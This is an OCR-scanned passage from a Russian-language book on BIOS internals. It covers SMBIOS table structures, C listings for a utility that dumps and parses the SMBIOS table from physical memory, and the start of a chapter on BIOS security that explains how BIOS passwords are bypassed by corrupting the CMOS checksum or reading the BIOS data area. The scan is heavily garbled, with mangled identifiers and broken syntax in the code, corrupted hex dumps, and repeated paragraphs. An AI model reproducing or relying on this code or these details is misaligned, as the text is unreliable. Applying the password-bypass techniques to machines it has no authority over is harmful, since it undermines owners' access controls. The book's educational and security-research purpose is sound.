Примечание: данные следуют сразу же за информацией заголовка. Поэтому длину заголовка можно определить путем вычитания смещения начала заголовка из смещения начала данных
OAh
2.0+
Метод доступа (Access method)
Байт
Переменное
Определяет адрес, по которому программное обеспечение более высокого уровня обращается к области журнала, и метод, с помощью которого оно извлекает данные. Может принимать следующие значения:
ooh. Индексный ввод- вывод. Один 8-битный индексный порт и один 8-битный порт данных. Поле адреса метода доступа (Access Method Address)содержит 16-битные адреса ввода- вывода для портов индекса и данных
(pa&L
Таблица 10.3 (продолжение)
Смещение
Версия спецификации SMBIOS
Название
Длина
Значение
Описание
OAh
2.0+
Метод доступа (Access method)
Байт
Переменное
0 lh. Индексный ввод- вывод. Два 8-битных индексных порта и один 8битный порт данных. Поле адреса метода доступа (Access Method Address) содержит 16битные адреса ввода- вывода для портов индекса и данных.
02h. Индексный ввод- вывод. Один 16-битный индексный порт и один 8битный порт данных. Поле адреса метода доступа (Access Method Address) содержит 16битные адреса ввода- вывода для портов индекса и данных
03h. Физический 32битный адрес, отображенный на память. Поле адреса метода доступа (Access Method Address) содержит 4-байтный начальный физический адрес (в формате двойного слова Intel).
04h. Доступно посредством функций общего назначения для энергонезависимых данных.
Поле адреса метода доступа содержит 2-байтный дескриптор gpnv (generalpurpose nonvolatile — энергонезависимый общего назначения) (в формате слова Intel)
Таблица 10.3 (продолжение
Смещение
Версия спецификации SMBIOS
Название
Длина
Значение
Описание
05h-7Fh. Доступны для будущих назначений посредством данной спецификации.
80h-FFh. Специфичны для поставщика BIOS или поставщика комплектного оборудования (OEM)
OBh
2.0+
Статус журнала (Log status)
Байт
Переменное
Описывает текущее состояние журнала системных событий. Значения битов этого байта следующие:
Биты 7:2. Зарезервированы. Установлены в 0.
Бит 1. Если этот бит установлен, область журнала целиком заполнена.
Бит 0. Если этот бит установлен, область журнала действительна
OCh
2.0+
Маркер изменений журнала (Log change token)
Двойное слово
Переменное
Уникальный маркер, который переназначается при каждом изменении журнала событий. Может быть использован для определения, происходили ли еще события после последнего чтения журнала
Таблица 10.3 (окончание)
Смещение
Версия спецификации SMBIOS
Название
Длина
Значение
Описание
10h
2.0+
Адрес метода доступа (Access method address)
Двойное слово
Переменное
Адрес, ассоциированный с методом доступа. Данные, содержащиеся в этом поле, зависят от значения поля метода доступа (Access method address). Формат области можно описать следующим 1-байтным объединением на языке С: union
{
struct
{
short IndexAddr; short DataAddr;
} IO;
long Physica- lAddr32;
short GPNVHandle;
} AccessMethodAddress;
Некоторые поставщики серверов используют информацию, извлеченную из структуры журнала системных событий, чтобы изменять содержимое чипа CMOS удаленно с помощью программного обеспечения управления WBEM собственной разработки.
Еще одна важная структура SMBIOS, представляющая особый интерес — это структура устройства управления (тип 34). Информация из этой структуры может быть использована для создания программы, предназначенной для Удаленного мониторинга параметров аппаратного обеспечения системы. К таким параметрам относятся уровни напряжения процессора, скорость вращения вентилятора охлаждения процессора, сбои в работе вентилятора охлаждения. Мониторинг этих параметров позволяет оперативно решать Проблемы перегрева процессора. Организация этой структуры данных пока-
510 Часть IV. Внесение изменений в код Biq§ зана в табл. 10.4. Эта таблица и табл. 10.5 и 10.6 также приводятся в спецификации SMBIOS версии 2.5.
Таблица 10.4. Структура устройства управления- форматированная секция
Смещение
Название
Длина
Значение
Описание
ООН
Тип (Type)
Байт
34
Указатель устройства управления
Olh
Длина (Length)
Байт
OBh
Длина структуры
02h
Дескриптор (Handle)
Слово
Переменное
Дескриптор, или номер экземпляра, назначенный структуре
04h
Описание (Description)
Байт
Строка
Номер строки, содержащей дополнительную информацию, описывающую устройство или его местонахождение
05h
Тип (Type)
Байт
Переменное
Определяет тип устройства (см. табл. 10.5)
06h
Адрес(Address)
Двойное слово
Переменное
Определяет адрес устройства
OAh
Тип адреса (Address type)
Байт
Переменное
Определяет тип адресации, применяемой для обращения к устройству (см. табл. 10.6)
Таблица 10.5. Тип устройства управления
Значение байта
Устройство
Olh
Прочее
02h
Неизвестно
03h
National Semiconductor LM75
04h
National Semiconductor LM78
05h
National Semiconductor LM79
06h
National Semiconductor LM80
07h
National Semiconductor LM81
08h
Analog Devices ADM9240
09h
Dallas Semiconductor DS1780
Таблица 10.5 (окончание)
Значение байта
Устройство
OAh
Maxim 1617
OBh
Genesys GL518SM
OCh
Winbond W83781D
ODh
Realtek HT82H791
Таблица 10.6. Тип адреса устройства управления
Значение байта
Назначение
Olh
Прочее
02h
Неизвестно
03h
Порт ввода-вывода
04h
Память
05h
Шина SMB (system management bus — шина управления системой)
Значения байтов структуры устройства управления показаны в табл. 10.4—10.6. Используя информацию, приведенную в этих таблицах, программное обеспечение управления WBEM может опрашивать удаленный компьютер о его системных параметрах. Для получения этой возможности, необходимо предварительно предоставить этому ПО доступ к удаленной системе. С точки зрения безопасности системы это означает, что если эти параметры пытается получить злоумышленник, он должен предварительно установить "лазейку" (backdoor) для обхода системы защиты удаленного компьютера и повысить собственные права доступа до уровня администратора. Не имея прав администратора, злоумышленник не сможет установить драйвер устройства и, следовательно, не сможет исследовать аппаратные средства удаленной системы напрямую. Если же злоумышленник сумел получить административные права, то он сможет свободно изменить BIOS. Процедуры модификации BIOS непосредственно из операционной системы были описаны в главе 9.
Структуры SMBIOS, предоставляющие особый интерес, не ограничиваются только что описанными. В спецификации SMBIOS вы можете найти структуры, предоставляющие интерес для вас лично. На этом обсуждение теоретических аспектов SMBIOS можно считать завершенным. В следующем разделе приводится практический пример кода, выполняющего анализ таблицы структур SMBIOS.
Реализация кода для удаленного управления сервером
Код для удаленного управления сервером, рассматриваемый в этом разделе реализует протокол SMBIOS, изложенный в разд. 10.1.
Прежде чем перейти к рассмотрению анализа таблицы структур SMB1OS, рассмотрим реализацию этой таблицы на примере конкретной BIOS. В Award BIOS версии 6.00PG базовая структура SMBIOS размещена в сжатом файле awardext.rom. Внутренняя структура двоичного файла Award BIOS была рассмотрена в главе 5.
Я акцентирую внимание на базовой структуре SMBIOS, так как содержимое таблицы структур SMBIOS зависит от конфигурации системы. Это происходит потому, что таблица SMBIOS предоставляет информацию не только о материнской плате, но и об остальных аппаратных средствах, включая установленный процессор или платы расширения PCI.
В листинге 10.1 показана базовая таблица структур SMBIOS в файле awardext.rom BIOS для материнской платы Foxconn 955X7AA-8EKRS2, выпущенной 19 ноября 2005 года.
Листинг 10.1. Базовая структура SMBIOS BIOS материнской платы Foxconn
Адрес0000CD600000CD700000CD800000CD900000CDA0Адрес0000CD600000CD700000CD800000CD900000CDA0Шестнадцатеричные значения Значения ASCII
Адрес
0000CD60
0000CD70
0000CD80
0000CD90
0000CDA0
Адрес
0000CD60
0000CD70
0000CD80
0000CD90
0000CDA0
6563 746564000D0A005F534D5F001F02ected...-_SM_...
0200 000000000000005F444D495F0000 _DMI_..
1000 080F000000225651B9FF0F32E4AC"VQ...2..
02E0 E2FB8824595E0E68A4CD6814ABEA$YA.h..h...
0065 00E0C30660E89F00B000E860OBOE.e....''..
Дамп, представленный в листинге 10.1, позволяет получить представление о реализации интерфейса SMBIOS на уровне BIOS.
Переходим к следующему этапу — анализу таблицы структур SMBIOS в процессе работы под управлением запущенной операционной системы. Для выполнения этой задачи необходимо расширить исходный код утилиты bios_probe. Исходный код, необходимый для этого раздела, можно скачать по адресу’ http://www.kaos.ru/bios_probe/. Это — исходный код для bios_probe версии 0.34, которая предоставляет элементарную поддержку для
(пава 10. Низкоуровневое управление удаленным сервером 513 анализа таблиц SMBIOS. Основное различие между этой версией bios_probe и версией 0.31, рассмотренной в главе 9, заключается в реализации поддержкИ SMBIOS.
Каким именно образом была добавлена поддержка SMBIOS? Во-первых, в файл flashrom.c был добавлен новый переключатель для анализа таблицы SMBIOS. Эта модификация показана в листинге 10.2.
юл яг ).2. Файл flash_rom.c с добавленной поддержкой SMBIOS
// Часть строк кода опущена, как не являющаяся необходимой
// для понимания рассматриваемого процесса.
#include "snibios.h"
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
int dump_srnbios_area(char * filename)
Описание процедуры:
Сканирует содержимое области SMBIOS (диапазон физических адресов OxFOOOO - OxFFFFF) в поисках сигнатуры точки входа SMBIOS "_SM_". Если эта сигнатура обнаружена, таблица SMBIOS, на которую указывает точка входа SMBIOS, сбрасывается в двоичный файл с названием filename.
Примечание:
Эта функция поддерживает только интерфейс SMBIOS, основанный на таблицах. Предыдущие реализации не поддерживаются.
Аргументы:
filename — Имя файла, в который нужно сбросить таблицу SMBIOS
Возвращаемое значение:
— при отрицательном результате
— при успешном завершении
—*/
(
char * buf;
FILE * image = NULL;
volatile char * srribios = NULL;
volatile char * srribios_table = NULL;
unsigned long i, smbios_tbl_len, srribios_tbl_phy_addr;
unsigned short snibios_struct_count ;
//
// Ищем идентификатор _SM_ в диапазоне физических
// адресов OxFOOOO - OxFFFFF
И
siribios = (volatile char*) MapPhysicalAddressRange(SMBIOS_PHY_START, SMBIOS_SIZE);
if (NULL == siribios) {
printf("Error: unable to map SMBIOS area \n");
// Ошибка - не удалось отобразить область SMBIOS.
return 0;
}
for( i = 0; i < 0x10000; i += 16) {
if ( '_MS_' == *( (unsigned long *) (siribios + i)) ) (
printf("_SM_ signature found at 0x%X\n", OxFOOOO+i);
// Сигнатура _SM_ обнаружена, break;
}
)
if( i == 0x10000 )
{
// Сигнатура SMBIOS не обнаружена UnmapPhysicalAddressRange((void*)siribios, SMBIOS_SIZE); return 0;
}
И
Определяем версию точки входа SMBIOS. И
if( 0 == *((unsigned char*)(siribios + i + OxA)) ) {
printf("The SMBIOS entry point is based on SMBIOS rev. 2.1.\n");
// Точка входа SMBIOS основана на SMBIOS версии 2.1.
} else {
printf("The SMBIOS entry point is newer than SMBIOS" " rev. 2.1.\n");
// Точка входа SMBIOS более поздняя, // чем SMBIOS версии 2.1.
}
if( 'IMD_' == *((unsigned long*) (srribios + i + 0x10)) ) {
printf("_DMI_ signature found\n");
// Обнаружена сигнатура _DMI_ }
//
// Получаем адрес и размер таблицы структур SMBIOS. //
srribios_tbl_len = *((unsigned short *)(srribios + i + 0x16));
printf("SMBIOS table length = 0x%X\n", srribios_tbl_len); // Выводим длину таблицы SMBIOS
srribios_tbl_phy_addr = *((unsigned long *)(srribios + i + 0x18));
printf("SMBIOS table physical address = 0x%X\n", srribios_tbl_phy_addr) ;
// Выводим физический адрес таблицы SMBIOS
И
И Получаем количество структур, имеющихся в таблиц? структур SMBIOS. И
srribios_struct_count = *( (unsigned short *) (srribios + i + OxlC));
printf("number of SMBIOS structures in the table = %d\n", srribios_struct_count);
// Выводим число структур в таблице структур SMBIOS.
И
// Удаляем отображение физического диапазона адресов SMBIOS.
И
UnmcipPhysicalAddressRange ((void*) srribios, SMBIOS_SIZE) ; srribios = NULL;
H
I / Отображаем структуры SMBIOS и сбрасываем их в файл.
// Обратите внимание, что это иная область, чем область SMBIOS. И srribios_table = (volatile char*)
MapPhysicalAddressRange(srribios_tbl_phy_addr,
smbios_tbl_len);
if(NULL == smbios_table) {
printf("Error: unable to map SMBIOS structure table\n");
// Ошибка отображения таблицы структур SMBIOS. return 0;
}
if (!filename){
printf("Error: SMBIOS dump filename is invalid \n");
// Ошибка - недействительное имя файла дампа SMBIOS.
UnmapPhysicalAddressRange ((void*) smbios_table, smbios_tbl_len) ; return 0;
)
bdf = (char *) calloc(srribios_tbl_len, sizeof(char));
if(NULL == buf)
(
printf("Error: unable to allocate memory for SMBIOS structure" "table buffer!\n");
// Ошибка выделения памяти для буфера таблицы структур SMBIOS. UnmapPhysicalAddressRange ((void*) srribios_table, smbios_tbl_len) ; return 0;
)
if ((image = fopen(filename, "wb")) == NULL) {
perror(filename);
free( buf );
UnmapPhysicalAddressRange((void*)srribios_table, smbios_tbl_len); return 0;
}
printf("Reading SMBIOS structure table...\n");
// Читаем таблицу структур SMBIOS.
memcpy(buf, (const char *)srribios_table, smbios_tbl_len); fwrite(buf, sizeof(char), srribios_tbl_len, image);
fclose(image);
// Parse the SMBIOS table into a text file (smbios_table.txt).
// Разбираем таблицу структур SMBIOS и сохраняем результат
// в текстовый файл (smbios_table.txt).
printf("Parsing SMBIOS structure table to smbios_table.txt ...\n");
// Выводим сообщение о разборке таблицы
// структур SMBIOS в текстовый файл.
parse_srribios_table (buf, srribios_tbl_len, " srribios_table. txt") ;
printf(" done\n");
// Сообщение о завершении разборки таблицы структур.
free( buf ); // Освобождаем кучу.
UnmapPhysicalAddressRange((void*)srribios_table, srribios_tbl_len);
return 1; // Успешное выполнение )
// Часть строк кода опущена, как не являющаяся необходимой
И для понимания рассматриваемого процесса.
//
// Изменения в применении функции показаны ниже.
//
void usage(const char *name) {
printf("usage: %s [-rwv] [-c chipname][file]\n", name) ;
printf(" %s -smbios [file]\n", name) ;
И Часть строк кода опущена, как не являющаяся необходимой
// для понимания рассматриваемого процесса.
printf( "-г:read flash and save into file\n"
// Читаем содержимое чипа флэш-ROM и сохраняем в файл.
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
"-smbios: read SMBIOS area contents to file\n"
// Читаем содержимое области SMBIOS и сохраняем в файл.
// Часть строк кода опущена, как не являющаяся необходимой
И для понимания рассматриваемого процесса.
"-pcie: erase pci ROM contents\n");
// Стираем содержимое ROM PCI.
exit(l);
)
И
// Изменения в функции main показаны ниже.
//
int main (int argc, char * argv[])
{
int read_.it = 0, write_it = 0, verify_it = 0, pci__rom_read = 0, pci_rom_write = 0, pci_rom_erase = 0, smbios_dunp = 0;
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
} else if(!strcmp(argv[l],"-srribios")) { srribios_durnp = 1;
}
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
И
И Если это запрос сделать дамп SMBIOS, сбрасываем
// область SMBIOS(OxFOOOO - OxFFFFF) в файл и
// завершаем работу приложения.
И
if (srribios_durnp)
{
if (durrp_smbios_area(filename) == 0) { printf("Error: failed to dump srribios area to file\n"); // Ошибка при сбрасывании содержимого области SMBIOS в файл. CleanupDriver(); // Освобождаем ресурсы интерфейса драйвера, return -1;
} else {
CleanupDriver(); // Освобождаем ресурсы интерфейса драйвера.
return 0;
)
}
// Часть строк кода опущена, как не являющаяся необходимой
// для понимания рассматриваемого процесса.
}
Как можно видеть в листинге 10.2, поддержка SMBIOS предоставляется в специальной функции — dump_smbios_area. Эта функция отображает диапазон физических адресов SMBIOS (oxfoooo-Qxfffff) на адресное простран-
elBo приложения пользовательского режима bios_probe. Данная задача выполняется с помощью драйвера bios_probe, рассмотренного в главе 9. 3<ем функция dump_bios_area сканирует эту область на присутствие точки входа таблицы структур SMBIOS. Осуществляется это поиском строки сигнатуры _sm_. Обнаружив точку входа, функция dump_smbios_area определяет расположение таблицы структур SMBIOS, посредством чтения зНачеНИЯ ПОЛЯ адреса таблицы Структур (Structure table address) в структуре eps, расположенного по смещению I8h относительно начала этой структуры (см. табл. 10.1). Кроме того, функция dump_smbios_area считывает размер таблицы SMBIOS посредством чтения поля длины таблицы структур (structure table length), расположенного по смещению 16h от точки входа. Затем функция dump_smbios_area удаляет из адресного пространства bios_probe отображение структуры eps и отображает туда настоящую таблицу структур SMBIOS bios_probe. Далее функция dump_smbios_area копирует содержимое таблицы структур SMBIOS в специальный буфер и вызывает функцию parse_smbios_tabie для анализа таблицы структур SMBIOS. функция parse_smbios_tabie объявлена в файле smbios.h и реализована в файле smbios.c. После анализа содержимого буфера SMBIOS, функция dump_smbios_area удаляет отображение диапазона физических адресов таблицы структур SMBIOS и возвращает управление вызывающей программе.
Исходный код функции parse_smbios_table показан в листингах 10.3 и 10.4. В данной функции воплощены лишь базовые возможности для анализа таблицы структур SMBIOS. При желании, вы сможете расширить эти возможности самостоятельно.
1стинг 10.3. Файл smbios.h
^ifndef __SMBIOS_H__
^define __SMBIOS_H__
lnt parse_srribios_table(char * srribios_table, unsigned long srribios_tbl_len, char * filename);
#endif / /SMBIOS_H
Листинг 10.4. Файл smbios.c
/*___
Файл: smbios.c
Описание: Предоставляет функции для анализатаблицы структур SMBIOS
*/
#include <stdlib.h>
#include <stdio.h>
#include «string.h>
#include <ctype.h>
enum {
MAX_SMBIOS_STRING = 64, // См. раздел о текстовых строках
// в спецификации SMBIOS версии 2.4. };
int parse_smbios_table(char * smbios_table, unsigned long smbios_tbl_len, char * filename)
/*++
Описание подпрограммы:
Раскладывает буфер памяти, на который указывает smbios_table, в таблицу SMBIOS, понятную для человека, и сохраняет результат в текстовый файл.
Аргументы:
smbios_table — Указатель на буфер памяти smbios_table smbios_tbl_len — Длина в байтах буфера smbios_table filename — Имя файла, в котором сохраняются результаты анализа
Возвращаемое значение:
О — при отрицательном результате
— при успешном завершении — */ {
FILE * f = NULL;
unsigned long i, j; // Индексы к буферу таблицы SMBIOS
int k, len; // Индекс строки char str[MAX_SMBIOS_STRING]; unsigned char bios_vendor, bios_version, bios_date;
if(NULL == smbios_table) {
// Недействительный буфер таблицы SMBIOS return 0;
)
if ((f = fopen(filename, "wt")) == NULL) { perror(filename);
return 0;
ford ~ 0; i < smbios_tbl_.len; )
switch (smbi oS._table [ i ] ) {
case 0 : // Тип 0 - информация о BIOS {
fprintf(f, "BIOS information structure\n");
// Структура информации BIOS fprintf(f, "\n");
fprintf(f, "Length = 0x%X\n", smbios_table[i+1]) ;
// Длина fprintf(f, "Handle = 0x%X\n", // Дескриптор
*((unsigned short*)(&smbios_table[i+2])) ) ; fprintf(f, "BIOS starting address segment = " // Выводим сегментный адрес начала BIOS
"Ux%X\n",*((unsigned short*)(&smbios_table[i+6])) );fprintf(f, "BIOS ROM size = 0x%X\n",smbios_table[i+9]);•
bios_vendor = smbios_table[i+4];
bios_version = smbios_table[i+5]; bios_date = smbios_table[i+8] ;
// Указываем на начало области строк, i +- smbios_table[i+1];
// Выводим строки на экран.
1еп = 0;
k = 1 ;
j = 0;
while(1) {
// Проверяем, достигли ли конца структуры, if(0 ==
*((unsigned short*)(&smbios_table[i+j])) )
if( len > 0 ) {
memset(str, 1 \0' , sizeof(str));
strncpy(str, &smbios_table[i+j-len],len) ;
if(k == bios_vendor) {fprintf(f, "BIOS vendor : %s\n",str) ;
}else if(k == bios_version) { fprintf(f, "BIOS version : " "%s\n", str);
}else if(k == bios_date) { fprintf(f, "BIOS date : %s\n", str) ;
)
}
fprintf(f, "\n\n");
break;
>
if( ( 0 == smbios_table[i+j]) && (len > 0) ) { memset(str, •\0' , sizeof(str));
strncpy(str, &smbios_table[i+j-len], len) ;
if(k == bios_vendor) { fprintf(f, "BIOS vendor : %s\n", str) ;
}else if(k == bios_version) {fprintf(f, "BIOS version : %s\n",str) ;
}else if(k == bios_date) { fprintf(f, "BIOS date : %s\n", str);
}
len = 0;
k++;
}
if( isprint(smbios_table[i+j]) ) { len++;
i += (j + 2); // Указываем на следующую структуру.
}break;
default:
{
// Разбираем форматированную
// секцию структуры.
i += smbios_table[i+1]; // Указываем на начало // области строк.
// Выводим строки на экран.
len = 0;
k = 1;
j = 0;
while(1)
{
// Проверяем, достигли ли конца структуры.
if(0 ==
*((unsigned short*)(&smbios_table[i+j])) )
{
if( len > 0 ) {
memset(str, •\0* , sizeof(str)); strncpy(str, &smbios_table[i+j-len], len) ;
fprintf(f, "String no. %d : %s\n", k, str) ;
}
fprintf(f, "\n\n");
break;
}
iff ( 0 == smbios_table[i+j]) && (len > 0) ) { memset(str, *\0' , sizeof(str));
strncpy(str, &smbios_table[i+j-len],
len) ;
fprintf(f, "String no. %d : %s\n", k, str) ;
len = 0; k++;
}
if( isprint(smbios_table[i + j]) ) { len++;
}
}
i += (j + 2); // Указываем на следующую структуру. }break;
}
}
fclose(f);
return 1;
}
В листингах 10.2—10.4 показано, как получить доступ к информации SMBIOS, имеющейся на компьютерах, работающих под управлением Windows. Эту же информацию можно получить с помощью интерфейса WMI. Но возможны ситуации, в которых интерфейс WMI разбирает не всю таблицу структур SMBIOS. В таком случае, вы можете получить более подробную информацию о системе, анализируя таблицу структур SMBIOS самостоятельно с помощью утилиты bios_probe. Вывод утилиты bios_probe вер- сии 0.34 при анализе данных SMBIOS в моей системе и сохранение результатов анализа в файл показан на рис. 10.4.
Двоичный дамп области SMBIOS моей системы показан в листинге 10.5.
Рис. 10.4. Анализ SMBIOS и сохранение результатов
АдресООС00000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090ОО0000А0 оооооово ОО0000С0 0000OODOАдресООС00000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090ОО0000А0 оооооово ОО0000С0 0000OODOВ листингеВ листинге10.510.5показанопоказано_ только начало таблицы структур SMBIOS. Данная таблица слишком длинна, и приводить ее целиком будет нерационально.листинге 10.6 показано содержимое текстового файла, в который сохраняйся результаты анализа таблицы структур SMBIOS. Этот листинг также является усеченным._ только начало таблицы структур SMBIOS. Данная таблица слишком длинна, и приводить ее целиком будет нерационально.листинге 10.6 показано содержимое текстового файла, в который сохраняйся результаты анализа таблицы структур SMBIOS. Этот листинг также является усеченным.
Адрес
ООС00000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090
ОО0000А0 оооооово ОО0000С0 0000OODO
Адрес
ООС00000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090
ОО0000А0 оооооово ОО0000С0 0000OODO
В листинге
В листинге
10.5
10.5
показано
показано
_ только начало таблицы структур SMBIOS. Данная таблица слишком длинна, и приводить ее целиком будет нерационально.
листинге 10.6 показано содержимое текстового файла, в который сохраняйся результаты анализа таблицы структур SMBIOS. Этот листинг также является усеченным.
_ только начало таблицы структур SMBIOS. Данная таблица слишком длинна, и приводить ее целиком будет нерационально.
листинге 10.6 показано содержимое текстового файла, в который сохраняйся результаты анализа таблицы структур SMBIOS. Этот листинг также является усеченным.
ютинг 10.5. Дамп SMBIOS области моей системы
Шестнадцатеричные значенияЗначения ASCII
0013 0000010200Е0030790DECB7F0000
0000 3750686F656Е697820546563686Е..7Phoenix Techn
6F6C 6F676965732С204С544400362Е30ologies, LTD.6.О
3020 50470031322F32382F32303034000 PG.12/28/2004.
0001 1901 0001 0203 04FF FFFF FFFF FFFF
FFFF FFFF FFFF FFFF FF06 2000 2000 2000
2000 0002080200010203042000493836186
3550 452D5738333632370020002000005PE-W83627.. ..
030D 0300010302030402020202200020
0020 0020 0000 0420 0400 0103 0F02 290F).
0000 FFFB EBBF 038E 6400 FA0B D007 4104 dA.
0A00 0B00 FFFF 536F 636B 6574 2034 3738 Socket 478
0049 6E74 656C 0049 6E74 656C 2852 2920 .Intel.Intel(R) 4365 6C65 726F 6E28 5229 2043 5055 0000 Celeron(R) CPU..
й^стинг 10.6. Содержимое файла, хранящего результаты разборки SMBIOS
iOs information structure
Структура информации BIOS
^gth^gth- 0x13 // Длина = 0x13- 0x13 // Длина = 0x13
^gth
^gth
- 0x13 // Длина = 0x13
- 0x13 // Длина = 0x13
Handle = 0x0 // Дескриптор = 0x0
BIOS starting address segment = OxEOOO
11 Сегмент начального адреса BIOS = OxEOOO
BIOS ROM size = 0x7 / / Размер ROM BIOS = 0x7
BIOS vendor : Phoenix Technologies, LTD
// Поставщик BIOS - Phoenix Technologies, LTD
BIOS version : 6.00PG // Версия BIOS - 6.00PG
BIOS date : 12/28/2004 H Дата выпуска BIOS — 28 декабря 2004 г.
Пример информации, которую можно получить удаленно с помощью инструментария WMI, показан на снимках экрана локального сервера обновлений Windows (рис. 10.5 и 10.6).
Как видите, некоторые подробности о компьютере, работающем под управлением Windows и подключенном к локальному серверу обновлений Windows, можно получить посредством интерфейса WMI, к которому удаленный компьютер разрешает доступ с локального сервера обновлений Windows.
Рис. 10.5. Подробная информация о Windows-компьютереРис. 10.5. Подробная информация о Windows-компьютере
Рис. 10.5. Подробная информация о Windows-компьютере
Рис. 10.5. Подробная информация о Windows-компьютере
Рис. 10.6. Информация о статусе компьютера, работающего под управлением Windows
Возможно, что у вас возникнут сомнения в практической пользе, которую может принести информация SMBIOS. С точки зрения безопасности, злоумышленник может таким образом получить подробную информацию об интересующей его системе. Эта информация будет необходима ему, если он хочет внедрить руткит (rootkit) в аппаратное обеспечение этой системы. Однако для этого он сначала должен получить права администратора на целевой системе.
п
° течение последних нескольких лет, в инструментарии WMI был обнаружен РЯД уязвимостей. Эти уязвимости могут быть использованы злоумышленни- к°м для осуществления его замыслов по отношению к целевой системе.
Глава 11
Меры безопасности BIOS
Введение
В этой главе рассматриваются меры по защите BIOS, реализованные как на уровне самой BIOS, так и на уровне операционной системы. К таким мерам безопасности относятся защита с использованием паролей, проверка целостности компонентов BIOS, защита на уровне операционной системы, а также аппаратные меры безопасности. Функция проверки целостности компонентов BIOS изначально не разрабатывалась как мера безопасности. Тем не менее, со временем она стала применяться как мера защиты от внедрения произвольного кода в двоичный файл BIOS.
Защита с помощью паролей
Для предотвращения несанкционированного использования компьютера и изменения конфигурационных установок BIOS предоставляет механизм паролей. В некоторых BIOS используется два вида паролей — пользователя (user password) и администратора (supervisor password). В некоторых материнских платах имеются дополнительные функции установки пароля в опции Security Option (опция безопасности) в меню Advanced BIOS Features (расширенные функции BIOS). Опция Security Option предоставляет выбор двух установок — System и Setup. Если для опции Security Option выбрано значение System, то в начале загрузки BIOS будет запрашивать пароль для ее продолжения. Если же для опции Security Option выбрано значение Setup,т0 пароль необходимо будет вводить при входе в меню BIOS Setup. Что касается паролей пользователя и администратора, я не смог обнаружить никакой ра3 ницы между ними. В моей материнской плате* разница между методам*4
1 DPI 865РЕ Infinity версия 1.1; BIOS датирована 2 8 декабря 2004 г.
аутентификации с применением пароля существует лишь между установками опции Security Option. На вашей материнской плате установки аутентификации с применением пароля могут быть иными. На рис. 11.1 показан выбор опции Security Option на моей материнской плате.
Fioenix - и -.,.<>; । ■, Ch g Setup utility Advanced BIOS Features
BIOS Flash Protect CPU LI & Ь2 Cache Hyner—Thmadinu Teehnnlncy Quick Power On Self Test RAID or SCSI Card Boot F lard Disk Boot Priority
USB Flash Disk Type First Boot Device Second Boot Device Third Boot Device Boot Other Device Swap Floppy Drive Boot Up Floppy Seek Boot Up NumLock Statu® Cate A20 Option lypematic Rate Setting
DisabledJ
Enabled
Enabled
Fast
OnBoard RAID
Pi'ess Enter
Floppy
Floppy
Hord Disk
CDROH
Enabled
Disabled
Enabled
On
Fast
Disabled
Item Help
Мяпн bevel ►■
Security Option
Setup▼
ТИ+sMove EnteriSelect ♦/-/PU/PD:Value F10:Save £SC:Exit Fl:General Help
FS: Previous Values Ft:CMOS Ее loaded P7: Ootiniaed Defaults
Рис. 11.1. Выбор опции Security Option на материнской плате DEI 865РЕ Infinity
Код защиты паролем, реализованный в BIOS, легко поддается взлому. Существуют два способа взлома этого механизма парольной защиты. Первый способ заключается в непосредственной модификации содержимого чипа CMOS2, с тем, чтобы сделать контрольную сумму чипа недействительной3. Применяя данный метод, атакующий устанавливает для содержимого CMOS значения по умолчанию, в результате чего при последующей загрузке защита паролем отключается. Второй способ заключается в считывании пароля непосредственно из области BDA (BIOS data area — область данных BIOS). Стоит отметить, что данный метод срабатывает не во всех случаях, и получение положительных результатов не гарантируется. Оба метода были описаны автором, выступившим под ником Endrazine в статье на сайте SecurityFocus4. Но первым, кто изобрел и опубликовал эти методы, был Кристоф Гренье5 (Christophe Grenier). Рассмотрим принципы, лежащие в основе обоих этих Методов, а затем — их реализации для Windows и Linux.
В этом чипе хранятся установки BIOS.
В дальнейшем, я буду называть чип CMOS просто CMOS.
Статья "BIOS Information Leakage" (Утечка информации BIOS) по адресу http://www.securityfocus.com/archive/ 1/archive/1/419610/1 OO/O/threaded.
См. сайт Гренье по адресу http://www.cgsecurity.org.
Нарушение контрольной суммы CMOS
Первый способ обхода парольной защиты BIOS заключается в нарушении це лостности контрольной суммы CMOS. Этот метод применим, только есди операционная система уже загружена. Таким образом, контрольная сумМа CMOS нарушается в контексте операционной системы. Этот метод не подхо. дит, если операционная система не загружена, так как перед ее загрузкой BIOS запросит пароль.
CMOS содержит, по крайней мере, 128 байтов данных настроек BIOS, к которым можно обращаться посредством физических портов 0x7 о и 0x71. По в некоторых материнских платах используется более 128 байтов. Три из этих 128 байтов CMOS представляют особый интерес. Это — байты, расположенные по смещениям ОхОе, 0х2е и 0x2f. Байт по смещению ОхОе содержит диагностический статус CMOS, включая контрольную сумму CMOS. По смещению 0х2Е находится старший байт контрольной суммы CMOS, а по смещению 0x2F — младший байт данной суммы. Рассмотрим формат байта диагностического статуса по смещению ОхОе:
Бит 7 — статус питания часов реального времени (0 = питание CMOS не потеряно, аккумулятор исправен и заряжен, 1 = питание CMOS потеряно, аккумулятор разряжен).
Бит 6 — статус контрольной суммы (checksum) CMOS (0 = контрольная сумма действительна, 1 = контрольная сумма недействительна).
Бит 5 — статус конфигурационной информации POST (0 = конфигурационная информация действительна, 1 = конфигурационная информация недействительна).
Бит 4 — результат проверки оперативной памяти в ходе выполнения POST (0 = фактический размер оперативной памяти, обнаруженной во время выполнения POST, соответствует значению, указанному в конфигурационных данных CMOS, 1 = фактический размер оперативной памяти не соответствует размеру, указанному в конфигурации CMOS.
Бит 3 — инициализация жесткого диска или его адаптера (0 = успешная, 1 = неудачная).
0 Бит 2 — индикатор статуса времени CMOS (0 = часы реального времени установлены правильно, 1 = часы реального времени установлены неправильно).
^ Биты 1—0 — зарезервированы и равны нулю.
